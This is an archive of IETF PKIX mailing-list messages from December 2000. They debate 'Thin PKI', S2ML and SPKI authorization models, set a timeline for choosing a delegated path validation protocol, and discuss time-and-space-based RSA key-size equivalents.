way.  They invert the legal burden of proof - I have to show that someone
else did these things.  How many courts of law are technically qualified to
know the difference?

> >As a matter of
> > fact, I believe this is the only way we can ever make PKI-based eCommerce
> > work outside laboratories.
> 
> You refer to SPKI here I guess?  A bit unfortunate for SPKI, is that it 
> has been shunned by´ the "big ones" and S2ML will just make this worse.
> 
> Or did I get that wrong?

You did.  SPKI is just one example of a more suitable semantic model, with
much nicer security properties.  I just happen to like it, preferences
vary.  If the "big ones" want to re-invent the wheel, or make silly
compromises, they are quite free to do so (:-).  My argument was more on
the point that systems *must* limit the power of the signatures.  And that
this limitation cannot happen on the signing client, as it runs highly
vulnerable and untrusted software.  *Any* step that limits the power is
good.  I don't care who takes it, and how, but VISA is one example of an
organization that knows something about risk management.

Regards,
Camillo
-- 
Camillo Särs <Camillo.Sars@F-Secure.com>       http://www.iki.fi/ged/
Security Researcher, F-Secure Corporation      http://www.F-Secure.com
    *** My office phone number has changed to +358 9 2520 5554 ***
   F-Secure products: Securing the Mobile, Distributed Enterprise


Received: from mailf.telia.com (root@mailf.telia.com [194.22.194.25]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id FAA14241 for <ietf-pkix@imc.org>; Fri, 15 Dec 2000 05:23:54 -0800 (PST)
Received: from d1o69.telia.com (d1o69.telia.com [62.20.144.241]) by mailf.telia.com (8.9.3/8.9.3) with ESMTP id OAA08233; Fri, 15 Dec 2000 14:26:43 +0100 (CET)
Received: from mega (t3o69p5.telia.com [62.20.145.5]) by d1o69.telia.com (8.10.2/8.10.1) with SMTP id eBFDQgo06377; Fri, 15 Dec 2000 14:26:42 +0100 (CET)
Message-ID: <006b01c0669a$745aac30$0201a8c0@vincent.se>
From: "Anders Rundgren" <anders.rundgren@telia.com>
To: =?iso-8859-1?Q?Camillo_S=E4rs?= <Camillo.Sars@F-Secure.com>
Cc: "PKIX-List" <ietf-pkix@imc.org>
References: <009601c06682$4bafd4d0$0201a8c0@vincent.se> <3A3A1299.8E5A54AD@F-Secure.com>
Subject: S2ML, Thin PKI and SPKI
Date: Fri, 15 Dec 2000 14:25:11 +0100
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id FAA14243

Hi Camillo,

> Anders Rundgren wrote:
> > The concept in a nutshell: When you engage in inter-organizational 
> > activities you let an "organization server" vouch for its employees 
> > (clients) by signing (AC-like) credentials on the fly for
> > authentication, and signing outgoing transactions on the clients 
> > request. All this without using any direct PKI-based "connection" 
> > between the client and the RP.   BTW, the client does not even have to
> > use PKI!
> 
> This is beginning to sound familiar, although you are still relying heavily
> on the "on-line trusted party" role.  Which is fine in some cases, but not
> generally applicable nor stricly speaking always necessary.

The reason for having the on-line trusted party (sort of real-time attribute CA) is that
it can generate whatever credential you need, when you need it, and without any
distribution or installation.   For O2O authentications I would say that it is
generally applicable.  It is a pure convenience solution.

<snip>

> and what you effectively have is very close the semantics of SPKI.

But without the distribution hassles.

> In certificate systems where authorizations are higly granular, atomic and
> limited, the risk introduced by improper use of a private key or the
> compromise of the signing system is significantly smaller. 

Actually I am much less confident that S2ML's authorization system will be that popular,
as there are other solutions like OBI, that keeps authorizations "at home".  And
the kind of granularity you have "at home" can be anything from getting a "Yes"
from the boss, to fully rule-based systems where each individual can do only
exactly what he/she is supposed to do.  To the outside world there is for most
outgoing messages, no real visible authorization.  Small order, large order,
they all look the same.

>As a matter of
> fact, I believe this is the only way we can ever make PKI-based eCommerce
> work outside laboratories.

You refer to SPKI here I guess?  A bit unfortunate for SPKI, is that it has been shunned by´
the "big ones" and S2ML will just make this worse.

Or did I get that wrong?

/anders



Received: from dfmail.f-secure.com (dfmail.f-secure.com [194.252.6.39]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id EAA11595 for <ietf-pkix@imc.org>; Fri, 15 Dec 2000 04:43:04 -0800 (PST)
Received: (qmail 17789 invoked by uid 0); 15 Dec 2000 12:45:53 -0000
Received: from fsinterface.f-secure.com (HELO fsfwfi01) (194.252.6.33) by dfmail.f-secure.com with SMTP; 15 Dec 2000 12:45:53 -0000
Received: (qmail 25080 invoked from network); 15 Dec 2000 12:45:33 -0000
Received: from fs129-092.f-secure.com (HELO F-Secure.com) (10.128.129.92) by dfintra.f-secure.com with SMTP; 15 Dec 2000 12:45:33 -0000
Message-ID: <3A3A1299.8E5A54AD@F-Secure.com>
Date: Fri, 15 Dec 2000 14:46:17 +0200
From: Camillo =?iso-8859-1?Q?S=E4rs?= <Camillo.Sars@F-Secure.com>
Organization: F-Secure Corporation
X-Mailer: Mozilla 4.76 [en] (WinNT; U)
X-Accept-Language: sv-FI,sv,en,fi,fr
MIME-Version: 1.0
To: Anders Rundgren <anders.rundgren@telia.com>
CC: PKIX-List <ietf-pkix@imc.org>
Subject: Re: Thin PKI won - You lost
References: <009601c06682$4bafd4d0$0201a8c0@vincent.se>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

Hi Anders,

(Cc: to PKIX - feel free to disregard this message if it conflicts too
badly with your beliefs.)

Anders Rundgren wrote:
> The concept in a nutshell: When you engage in inter-organizational 
> activities you let an "organization server" vouch for its employees 
> (clients) by signing (AC-like) credentials on the fly for
> authentication, and signing outgoing transactions on the clients 
> request. All this without using any direct PKI-based "connection" 
> between the client and the RP.   BTW, the client does not even have to
> use PKI!

This is beginning to sound familiar, although you are still relying heavily
on the "on-line trusted party" role.  Which is fine in some cases, but not
generally applicable nor stricly speaking always necessary.

> You claimed that this was a bad idea, while I claimed that this is "the 
> future for PKI".
["You" refers to Stephen Kent]
> 
> After reading the S2ML-draft 0.7a I can inform you that this 
> specification, which is supported by VeriSign, RSA etc. use exactly this 
> scheme for authentications and authorizations.  And so does BTW VISA's 
> coming 3D-SSL payment solution as well.
> 
>                                  Any comments? :-) :-)

Add a few features:
- Ability to generate limited-authority certificates beforehand for limited
periods of time.  E.g. "PP can buy pens today".
- Ability to optionally delegate the rights.
- Ability to restrict rights during delegation.

and what you effectively have is very close the semantics of SPKI.

> My guess is that this will in a couple of years, smash quite a few 
> PKI-projects into pieces!
> 
> For those who are engaged in federal or national PKIs, and Bridge-CAs 
> etc.:
> 
>                    === You are very likely to be on the wrong track! ===

I tend to agree with you.  For most on-line transactions, the concept of
"identity" is fairly irrelevant - the real issue for the relying party is
the authorization to perform an action.  Once the high-level legal trust
relationships exist [Read: "If you cheat, we will sue you out of
business."], the remaining issues are mostly about transferring
authorization - delegation - and avoiding fraud by the users.

On a side track, current "Qualified Identity Certificate" systems are very
vulnerable to private key exposure and require highly trusted terminals. 
Windows-based PCs are not such trusted terminals, regardless of how many
smart cards you buy.  This issue is usually not discussed at all, which I
find very alarming.

In certificate systems where authorizations are higly granular, atomic and
limited, the risk introduced by improper use of a private key or the
compromise of the signing system is significantly smaller.  As a matter of
fact, I believe this is the only way we can ever make PKI-based eCommerce
work outside laboratories.

Regards,
Camillo Särs
-- 
Camillo Särs <Camillo.Sars@F-Secure.com>       http://www.iki.fi/ged/
Security Researcher, F-Secure Corporation      http://www.F-Secure.com
    *** My office phone number has changed to +358 9 2520 5554 ***
   F-Secure products: Securing the Mobile, Distributed Enterprise


Received: from maild.telia.com (root@maild.telia.com [194.22.190.3]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id CAA29915 for <ietf-pkix@imc.org>; Fri, 15 Dec 2000 02:33:38 -0800 (PST)
Received: from d1o69.telia.com (d1o69.telia.com [62.20.144.241]) by maild.telia.com (8.9.3/8.9.3) with ESMTP id LAA13179; Fri, 15 Dec 2000 11:33:47 +0100 (CET)
Received: from mega (t5o69p92.telia.com [213.64.110.92]) by d1o69.telia.com (8.10.2/8.10.1) with SMTP id eBFAXSo02468; Fri, 15 Dec 2000 11:33:43 +0100 (CET)
Message-ID: <009601c06682$4bafd4d0$0201a8c0@vincent.se>
From: "Anders Rundgren" <anders.rundgren@telia.com>
To: "Stephen Kent" <kent@bbn.com>, "PKIX-List" <ietf-pkix@imc.org>
Subject: Thin PKI won - You lost
Date: Fri, 15 Dec 2000 11:31:56 +0100
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id CAA29916

Hi Steve, 
Do you remember the debate I started some 18 months ago when I launched the 
"Thin PKI"/CyberPhone concept in this list? 

   http://www.mobilephones-tng.com/v100/dynamiccerts.html

The concept in a nutshell: When you engage in inter-organizational activities you let an 
"organization server" vouch for its employees (clients) by signing (AC-like) credentials on the fly for 
authentication, and signing outgoing transactions on the clients request. All this without using
any direct PKI-based "connection" between the client and the RP.   BTW, the client does 
not even have to use PKI! 

You claimed that this was a bad idea, while I claimed that this is "the future for PKI".

After reading the S2ML-draft 0.7a I can inform you that this specification, which is supported by
VeriSign, RSA etc. use exactly this scheme for authentications and authorizations.  And so does
BTW VISA's coming 3D-SSL payment solution as well.

                                 Any comments? :-) :-)

My guess is that this will in a couple of years, smash quite a few PKI-projects into pieces!

For those who are engaged in federal or national PKIs, and Bridge-CAs etc.:

                   === You are very likely to be on the wrong track! ===

We need thin "interoperable domains" (VISA's term) between organizations, not giant PKIs where
"everybody is talking to everybody" (certificate-wise).  The banks use the former model, and although
banks cannot be accused for being hi-tech, they have anyway succeeded in doing advanced O2O/B2B-things
(even globally), supporting millions of ordinary users on the Internet,  which none of the many
government-sponsored PKI-programs have achieved, or will ever achieve using current PKI-models.

Signature archival is a built-in feature using Thin PKI, instead of something that
you with great pains "glue" to a basically broken system.

The term "Thin PKI" was coined by me to denote the fact that you with a single cert+key could
"do anything" you'll ever need.  It could actually be extended to organizations as well.

That interoperability becomes a no-issue (at least compared to the "classical" PKI approach), is
the fact that a single commercial TTP can w.o. problems certify millions of organizations.
I.e. much of this CA policy-stuff that some organizations are working with is in vain as most
organizations will buy pre-packaged products.  "Trust" is actually something that has to be created within
organizations and that is (except for a few die-hard PKIers), virtually independent on CA policies.

Anders Rundgren
co-founder
X-OBI
+46 70 - 627 74 37



Received: from pdcpune.elock.co.in (pdcpune.elock.co.in [196.1.104.8]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id WAA27993 for <ietf-pkix@imc.org>; Thu, 14 Dec 2000 22:04:33 -0800 (PST)
Received: from SHANTANU ([196.1.104.102]) by pdcpune.elock.co.in with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id YPCFN77Y; Fri, 15 Dec 2000 11:33:31 +0530
Message-ID: <00da01c0665e$be492ec0$666801c4@fcpl.co.in>
From: "Shantanu Bhattacharya" <shantanu@elock.co.in>
To: <Undisclosed-Recipient:;>
Subject: Change in job
Date: Fri, 15 Dec 2000 11:47:41 +0530
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="----=_NextPart_000_00D7_01C0668C.D4F5B160"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200

This is a multi-part message in MIME format.

------=_NextPart_000_00D7_01C0668C.D4F5B160
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi All,

I am leaving this job with effect from 18thDec'2000. This email ID would =
be invalid after that date. Please do not send mails to this address =
hereafter. You can use shantanubh@hotmail.com for further communication, =
if any.

Regards

Shantanu

------=_NextPart_000_00D7_01C0668C.D4F5B160
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 5.50.4522.1800" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi All,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I am leaving this job with effect from=20
18thDec'2000. This email ID would be invalid after that date. Please do =
not send=20
mails to this address hereafter. You can use <A=20
href=3D"mailto:shantanubh@hotmail.com">shantanubh@hotmail.com</A> for =
further=20
communication, if any.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Regards</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Shantanu</FONT></DIV></BODY></HTML>

------=_NextPart_000_00D7_01C0668C.D4F5B160--



Received: from po1.bbn.com (PO1.BBN.COM [192.1.50.38]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id PAA20401 for <ietf-pkix@imc.org>; Thu, 14 Dec 2000 15:40:17 -0800 (PST)
Received: from [171.78.30.111] (dhcp030-111.genuity.com [171.78.30.111]) by po1.bbn.com (8.9.1/8.9.1) with ESMTP id SAA10732 for <ietf-pkix@imc.org>; Thu, 14 Dec 2000 18:43:04 -0500 (EST)
Mime-Version: 1.0
X-Sender: kent@po1.bbn.com (Unverified)
Message-Id: <v04220800b65e9d9c997f@[128.33.238.82]>
Date: Thu, 14 Dec 2000 18:45:52 -0500
To: pkix list <ietf-pkix@imc.org>
From: Stephen Kent <kent@bbn.com>
Subject: a path forward on DPD & DPV
Content-Type: multipart/alternative; boundary="============_-1235284935==_ma============"

--============_-1235284935==_ma============
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

During this week's IETF, Tim and I held  several meetings with the 
authors of the drafts for SCVP and for the OCSP v2 extensions that 
deal with delegated path discovery and validation. We have arrived at 
the following procedure and time line for selecting a single solution 
from these competing protocols.

1. I will send a message examining the rationales for developing 
facilities to support delegated path discovery (DPD) and validation 
(DPV). This message will propose requirements and criteria for 
evaluating proposed solutions that offer these services, and will be 
issued before the end of this month. Many of the issues discussed in 
this message were presented at the WG meeting on Tuesday afternoon.

2. The WG will discuss the proposed requirements and evaluation 
criteria during January and we will reach closure by the end of the 
month, with a final set of requirements and criteria. During this 
time, advocates for each solution may refine their proposals to track 
the evolving requirements and criteria.

3. During February, the proponents of each approach will have an 
opportunity to revise their proposals to better match the finalized 
requirements and criteria, and to present arguments demonstrating how 
their proposals meet the requirements and evaluation criteria.

4. By the first (full) week of March the WG will select a single 
protocol as the standard. If the WG chairs do not feel that (rough) 
consensus has been achieved, a straw poll will be conducted. This 
should constitute WG last call, since the selected protocol document 
should be stable and thoroughly reviewed.

This schedule permits a final decision to be reached prior to the 
next IETF meeting, which takes place 3/19-23, in Minneapolis. 
However, we probably will not manage to reach (or complete) IETF last 
call prior to this meeting, so we should not expect IESG approval 
until late April, at the earliest.

--============_-1235284935==_ma============
Content-Type: text/enriched; charset="us-ascii"

<fontfamily><param>Times</param><bigger><bigger>During this week's
IETF, Tim and I held  several meetings with the authors of the drafts
for SCVP and for the OCSP v2 extensions that deal with delegated path
discovery and validation. We have arrived at the following procedure
and time line for selecting a single solution from these competing
protocols.


1. I will send a message examining the rationales for developing
facilities to support delegated path discovery (DPD) and validation
(DPV). This message will propose requirements and criteria for
evaluating proposed solutions that offer these services, and will be
issued before the end of this month. Many of the issues discussed in
this message were presented at the WG meeting on Tuesday afternoon. 


2. The WG will discuss the proposed requirements and evaluation
criteria during January and we will reach closure by the end of the
month, with a final set of requirements and criteria. During this time,
advocates for each solution may refine their proposals to track the
evolving requirements and criteria.


3. During February, the proponents of each approach will have an
opportunity to revise their proposals to better match the finalized
requirements and criteria, and to present arguments demonstrating how
their proposals meet the requirements and evaluation criteria.


4. By the first (full) week of March the WG will select a single
protocol as the standard. If the WG chairs do not feel that (rough)
consensus has been achieved, a straw poll will be conducted. This
should constitute WG last call, since the selected protocol document
should be stable and thoroughly reviewed.


This schedule permits a final decision to be reached prior to the next
IETF meeting, which takes place 3/19-23, in Minneapolis. However, we
probably will not manage to reach (or complete) IETF last call prior to
this meeting, so we should not expect IESG approval until late April,
at the earliest.  
</bigger></bigger></fontfamily>

--============_-1235284935==_ma============--


Received: from mail0.sibs.pt (mail0.sibs.pt [195.138.0.101]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id KAA05965 for <ietf-pkix@imc.org>; Thu, 14 Dec 2000 10:20:52 -0800 (PST)
Received: (qmail 30153 invoked from network); 14 Dec 2000 18:08:42 -0000
Received: from unknown (HELO mail.sibs.pt) (172.17.0.2) by 172.16.0.3 with SMTP; 14 Dec 2000 18:08:42 -0000
Received: from edi.van ([194.117.48.12]) by mail.sibs.pt (Netscape Mail Server v2.02) with ESMTP id AAA23839 for <ietf-pkix@imc.org>; Thu, 14 Dec 2000 18:22:32 +0000
Received: from SIBSEX.sibs ([192.168.250.26]) by edi.van (8.8.2/8.8.2) with ESMTP id SAA23833 for <ietf-pkix@imc.org>; Thu, 14 Dec 2000 18:20:43 GMT
Received: by sibsex.sibs with Internet Mail Service (5.5.2650.21) id <XC7FTWVN>; Thu, 14 Dec 2000 18:35:51 -0000
Message-ID: <63DA964A0E78D211B53E0008C7A4F56D01BCFA20@sibsex.sibs>
From: Rui Oliveira <ROliveira@sibs.mailcom.pt>
To: "'ietf-pkix@imc.org'" <ietf-pkix@imc.org>
Subject: subscribe
Date: Thu, 14 Dec 2000 18:35:42 -0000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"


Received: from prv-mail20.provo.novell.com (prv-mail20.provo.novell.com [137.65.81.122]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id JAA02888; Thu, 14 Dec 2000 09:52:24 -0800 (PST)
Received: from INET-PRV-Message_Server by prv-mail20.provo.novell.com with Novell_GroupWise; Thu, 14 Dec 2000 10:54:38 -0700
Message-Id: <sa38a6ee.052@prv-mail20.provo.novell.com>
X-Mailer: Novell GroupWise Internet Agent 5.5.5.1
Date: Thu, 14 Dec 2000 10:54:34 -0700
From: "Bob Jueneman" <bjueneman@novell.com>
To: <FRousseau@chrysalis-its.com>, <ietf-smime@imc.org>, <ietf-tls@lists.certicom.com>, <ipsec@lists.tislabs.com>
Cc: <ietf-pkix@imc.org>
Subject: Re: New Time and Space Based Key Size Equivalents for RSA and Diffie-Hellman
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="=_2C77224E.31502339"

This is a MIME message. If you are reading this text, you may want to 
consider changing to a mail reader or gateway that understands how to 
properly handle MIME multipart messages.

--=_2C77224E.31502339
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: quoted-printable

Francois,

I haven't followed the latest thinking on breaking algorithms such as RSA, =
so I'll take your word for the fact that the Number Field Sieve is =
currently the most efficient algorithm.  But isn't it at least possible =
that there might be other methods that although  less efficient than the =
NFS on a single machine, might be more well-suited to a distributed =
attack?  Likewise, would other algorithms be less constrained by a 64-bit =
addressing limitation?

Interesting point, though, in any case.

Regards,

Bob

Robert R. Jueneman
Security Architect
Novell, Inc.


>>> <FRousseau@chrysalis-its.com> 12/13/00 10:36PM >>>

I am sorry for the multiple postings, but I thought this particular =
subject, although probably quite controversial, might be of interest to =
the many peoples following these mailing lists, especially because of the =
upcoming adoption of the AES algorithm by many IETF protocols.
As symmetric keys grow, they can be attacked by more processors without a =
change in processor technology since the memory requirements for breaking =
symmetric keys remain trivial.  However, for the Number Field Sieve (NFS) =
algorithm, which is currently the most efficient method to break RSA keys, =
this is not true.  Based on this premise, the "time and space" based RSA =
key size equivalents previously published in the RSA Labs Bulletin #13 of =
April 2000 by Robert Silverman (http://www.rsalabs.com/bulletins/) have =
recently been extended to cover all the AES symmetric key sizes in the =
latest draft of ANSI X9.44, which will eventually become the ANSI standard =
for RSA key transport:
                        Time and Space=20
Symmetric               Equivalent=20
Key Size                RSA Key Size=20
(in bits)               (in bits)=20
64                      450=20
128                     1620=20
192                     2500=20
256                     4200=20
These "time and space" based key sizes equivalents assume that both time =
and memory are binding constraints in order to break RSA keys.  This same =
draft also indicates that beyond RSA key sizes of 768 bits one can no =
longer effectively utilize 32-bit processors with the NFS algorithm =
because the required memory exceeds what can be addressed in 32 bits; one =
is forced to use 64-bit machines.  Beyond RSA key sizes of about 2500 =
bits, the memory requirements for the NFS algorithm exceed what can be =
addressed even on 64 bit machines.
For your information, here are also the estimated "time" only based RSA =
key size equivalents for solving the NFS problem from the same ANSI draft:
                        Time Only=20
Symmetric               Equivalent=20
Key Size                RSA Key Size=20
(in bits)               (in bits)=20
64                      512=20
128                     2550=20
192                     6700=20
256                     13500=20
Note that either of these sets of RSA key size equivalents could be used =
with Diffie-Hellman for solving the value of "p" since the NFS algorithm =
is also the most efficient method to break Diffie-Hellman algorithm today. =
 Note also that these time only equivalents numbers are slightly smaller =
than those from ANSI X9.42 for Diffie-Hellman (i.e. 2550 vs 3072 for 128 =
bits, 6700 vs 7680 for 192 bits and 13500 vs 15360 for 256 bits) and the =
numbers in Hilarie Orman's Internet Draft (i.e. draft-orman-public-key-leng=
ths-01.txt).
Shouldn't IETF standards mention these new "time and space" based key size =
equivalents in addition to existing "time" only based key size equivalents,=
 and possibly even suggest that "time and space" based key size equivalents=
 be used for RSA and Diffie-Hellman?  Why mandate larger equivalent key =
sizes when smaller equivalent key sizes can probably suffice?
Food for thought!=20
Cheers,=20
Francois=20
___________________________________=20
Francois Rousseau=20
Director of Standards and Conformance=20
Chrysalis-ITS=20
1688 Woodward Drive=20
Ottawa, Ontario, CANADA, K2C 3R7=20
frousseau@chrysalis-its.com      Tel. (613) 723-5076 ext. 419=20
http://www.chrysalis-its.com     Fax. (613) 723-5078=20

--=_2C77224E.31502339
Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; charset=3Diso-8859-1"=
>
<META content=3D"MSHTML 5.50.4134.600" name=3DGENERATOR></HEAD>
<BODY style=3D"MARGIN-TOP: 2px; FONT: 8pt MS Sans Serif; MARGIN-LEFT: =
2px">
<DIV><FONT size=3D2>Francois,</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>I haven't followed the latest thinking on breaking =
algorithms=20
such as RSA, so I'll take your word for the fact that the Number Field =
Sieve is=20
currently the most efficient algorithm.&nbsp; But isn't it at least =
possible=20
that there might be other methods that although&nbsp; less efficient than =
the=20
NFS on a single machine, might be more well-suited to a distributed=20
attack?&nbsp; Likewise, would other algorithms be less constrained by a =
64-bit=20
addressing limitation?</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>Interesting point, though, in any case.</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>Regards,</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>Bob</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>Robert R. Jueneman</FONT></DIV>
<DIV><FONT size=3D2>Security Architect</FONT></DIV>
<DIV><FONT size=3D2>Novell, Inc.</FONT></DIV>
<DIV><BR><BR>&gt;&gt;&gt; &lt;FRousseau@chrysalis-its.com&gt; 12/13/00 =
10:36PM=20
&gt;&gt;&gt;<BR></DIV>
<P><FONT size=3D2>I am sorry for the multiple postings, but I thought =
this=20
particular subject, although probably quite controversial, might be of =
interest=20
to the many peoples following these mailing lists, especially because of =
the=20
upcoming adoption of the AES algorithm by many IETF protocols.</FONT></P>
<P><FONT size=3D2>As symmetric keys grow, they can be attacked by more =
processors=20
without a change in processor technology since the memory requirements =
for=20
breaking symmetric keys remain trivial.&nbsp; However, for the Number =
Field=20
Sieve (NFS) algorithm, which is currently the most efficient method to =
break RSA=20
keys, this is not true.&nbsp; Based on this premise, the "time and space" =
based=20
RSA key size equivalents previously published in the RSA Labs Bulletin #13 =
of=20
April 2000 by Robert Silverman (<A target=3D_blank=20
href=3D"http://www.rsalabs.com/bulletins/">http://www.rsalabs.com/bulletins=
/</A>)=20
have recently been extended to cover all the AES symmetric key sizes in =
the=20
latest draft of ANSI X9.44, which will eventually become the ANSI standard =
for=20
RSA key transport:</FONT></P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=3D2>Time and =
Space</FONT>=20
<BR><FONT size=3D2>Symmetric&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Equivalent</FONT> <BR><FONT=20
size=3D2>Key Size&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RSA Key Size</FONT> <BR><FONT=20=

size=3D2>(in bits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (in bits)</FONT> </P>
<P><FONT size=3D2>64&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 450</FONT> <BR><FONT=20
size=3D2>128&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1620</FONT> <BR><FONT=20
size=3D2>192&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2500</FONT> <BR><FONT=20
size=3D2>256&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 4200</FONT> </P>
<P><FONT size=3D2>These "time and space" based key sizes equivalents =
assume that=20
both time and memory are binding constraints in order to break RSA =
keys.&nbsp;=20
This same draft also indicates that beyond RSA key sizes of 768 bits one =
can no=20
longer effectively utilize 32-bit processors with the NFS algorithm =
because the=20
required memory exceeds what can be addressed in 32 bits; one is forced to =
use=20
64-bit machines.&nbsp; Beyond RSA key sizes of about 2500 bits, the =
memory=20
requirements for the NFS algorithm exceed what can be addressed even on 64 =
bit=20
machines.</FONT></P>
<P><FONT size=3D2>For your information, here are also the estimated "time" =
only=20
based RSA key size equivalents for solving the NFS problem from the same =
ANSI=20
draft:</FONT></P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=3D2>Time Only</FONT>=
=20
<BR><FONT size=3D2>Symmetric&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Equivalent</FONT> <BR><FONT=20
size=3D2>Key Size&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RSA Key Size</FONT> <BR><FONT=20=

size=3D2>(in bits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (in bits)</FONT> </P>
<P><FONT size=3D2>64&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 512</FONT> <BR><FONT=20
size=3D2>128&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2550</FONT> <BR><FONT=20
size=3D2>192&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 6700</FONT> <BR><FONT=20
size=3D2>256&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 13500</FONT> </P>
<P><FONT size=3D2>Note that either of these sets of RSA key size equivalent=
s could=20
be used with Diffie-Hellman for solving the value of "p" since the NFS =
algorithm=20
is also the most efficient method to break Diffie-Hellman algorithm =
